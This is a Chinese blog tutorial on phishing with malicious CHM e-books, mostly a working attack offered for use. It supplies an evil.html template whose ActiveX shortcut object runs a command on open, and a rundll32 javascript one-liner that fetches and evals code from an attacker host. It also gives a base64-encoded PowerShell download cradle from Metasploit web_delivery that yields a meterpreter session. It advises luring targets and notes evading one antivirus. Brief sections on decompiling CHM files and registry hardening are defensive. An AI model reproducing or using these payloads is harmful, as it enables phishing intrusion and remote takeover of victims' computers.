钓鱼攻击之:CHM电子书钓鱼

钓鱼攻击之:CHM电子书钓鱼

1 CHM简介

  • CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。因为使用方容便,形式多样也常被采用作为电子书的格式。而该类型的文件是可以用Windows自带的hh.exe文件来进行打开。

  • CHM支持JavaScript, VBScript, ActiveX, Java Applet, Flash, 常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,CHM同样支持,并可以通过 URL 与 Internet 联系在一起。

  • 因为使用方便,形式多样,也被采用作为电子书的格式。

2 .Chm文件因何变得危险

  • .Chm文件格式是HTML文件格式的扩展,它本来是一种用于给软件应用程序作用户手册的特殊文本格式。简单来说,HTML文件格式被压缩和重整以后,就被制成了这种二进制的.Chm扩展文件格式。通常,.Chm文件格式由压缩的HTML文件、图像、Javascript这些文件组合而成,同时,它可能还带有超链接目录、索引以及全文检索功能。

  • 这些.Chm文件有着较多的用户交互,并且采用了一系列的技术。其中包含的Javascript代码自不用多说,它可以在你打开.Chm文件时,直接重定向到一个外部链接。也就是说,用户只要打开一次这类文件,里面包含的恶意代码就可能主动运行。这似乎给人一种感觉,即用户交互更少的时候,感染的机会反而更大。

3 CHM 后门的优点

  • 因为电子书一般是在本地电脑域打开的,因此它所获得的权限也是本地电脑域的权限,所以比起网页木马的Internet域来,让木马获得执行的机会要简单的多,“不必使用漏洞”就可以执行!(Windows 2003除外,原因下面会说到)。
  • 现在的网页木马由于影响力太大,一般的人上网都会小心三分提防的,且它依赖与漏洞,所以生存的空间正在逐渐缩小。与此相反的是电子书的火爆下载,使得电子书木马的传播能力、生存能力以及范围大大加强!
  • 免网站维护,低成本

4 利用过程

4.1 准备工具

  1. Payload项目地址,基于Python2编写的Ridter/MyJSRat: This is JSRat.ps1 in Python (github.com)

  2. Easy CHM下载地址:Easy CHM下载 Easy CHM(chm制作工具) 3.93 -脚本之家 (jb51.net)

  3. 恶意chm模板:evil.html

    <!DOCTYPE html><html><head><title>忍不住点击的标题</title><head></head><body>
    command exec 
    <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
    <PARAM name="Command" value="ShortCut">
     <PARAM name="Button" value="Bitmap::shortcut">
     <PARAM name="Item1" value='执行程序,Payload命令'>
     <PARAM name="Item2" value="273,1,1">
    </OBJECT>
    <SCRIPT>
    x.Click();
    </SCRIPT>
    </body></html>
    
    • 注:执行程序,Payload命令之间有个逗号,替换时不能少。

4.2 制作恶意chm文件

  1. 生成恶意Payload,进入下载的Payload项目目录,执行以下命令:

    # python2.7 MyJSRat.py -i 192.168.50.2 -p 4444
    # 显示以下内容为正常运行
    JSRat Server
    By: Evi1cg
    [*] Using interactive method! 
    
    [*] Web Server Started on Port: 4444
    [*] Awaiting Client Connection to: http://192.168.50.2:4444/connect
    [*] Client Command at: http://192.168.50.2:4444/wtf
    [*] Browser Hook Set at: http://192.168.50.2:4444/hook
    
    [-] Hit CTRL+C to Stop the Server at any time...
    
    • http://192.168.50.2:4444/connect:默认回连地址
    • http://192.168.50.2:4444/wtf:访问此链接获取客户端执行代码
    • http://192.168.50.2:4444/hook:浏览器hook链接,适用于某些版本的IE
  2. 访问http://192.168.50.2:4444/wtf链接获取客户端执行代码

    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.50.2:4444/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
    
  3. 将生成的客户端执行代码,添加进恶意chm模板中:evil.html

    <!DOCTYPE html><html><head><title>说明书</title><head></head><body> <br>
    <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1
    height=1>
    <PARAM name="Command" value="ShortCut">
    <PARAM name="Button" value="Bitmap::shortcut">
    <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.50.2:4444/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
    <PARAM name="Item2" value="273,1,1">
    </OBJECT>
    <SCRIPT>
    x.Click();
    </SCRIPT>
    </body></html>
    
  4. 使用Easy CHM软件,将evil.html打包成chm文件

  5. 诱使目标点开该文档,即可上线

    image-20220802215606250

  6. 使用火绒查杀试了下可以免杀,但会被windows Defender查杀

    image-20220802224012936

    4.3 高级利用

    当获取客户端JS 交互shell之后自动执行powershell命令,获取meterpreter会话。

    1. 开启use exploit/multi/script/web_delivery,得到Payload如下:

      powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.50.2:8081/');
      
    2. 由于存在特殊字符,我们需要将代码编码为base64格式:

      1. 将以下代码存入tmp.txt

        $n=new-object net.webclient;
        $n.proxy=[Net.WebRequest]::GetSystemWebProxy();
        $n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
        IEX $n.downloadstring('http://192.168.50.2:8081/');
        
      2. 编码为Base64:

        # cat tmp.txt | iconv --to-code UTF-16LE | base64
        JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK
        ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA
        ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu
        AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA
        YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF
        AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A
        MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA=
        
    3. 构造成最终执行的powershell命令为:

      powershell -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK
      ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA
      ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu
      AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA
      YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF
      AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A
      MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA=
      
    4. 使用执行命令模式直接获取meterpreter会话:

      python MyJSRat.py -i 192.168.50.2 -p 4444 -c "powershell -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK
      ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA
      ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu
      AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA
      YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF
      AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A
      MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA="
      

5 溯源

chm是可以反编译为html的。使用windows自带的hh.exe 则可进行反编译。命令如下:

hh -decompile test *.chm 
# test 为当前目录的test文件夹

6 预防

  • 修改本地安全属性,使其无法在本地电脑域环境中运行木马程序,相应的注册表键值为:
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0下的1004项的值由原来的0改为十六进制的3

  • 如果你想详细修改本地电脑域的安全属性,可以把此同分支下的Flags项的值由原来的十六进制21改为0,再打开IE浏览器“Internet 选项...”中的的“安全”标签,是不是多了一个“我的电脑”图标,便可以改改它的安全级别

7 参考

写完发现已经有大佬详细分析了:高级组合技打造“完美” 捆绑后门 | Evi1cg's blog

posted @ 2022-08-02 23:03  f_carey  阅读(1050)  评论(0编辑  收藏  举报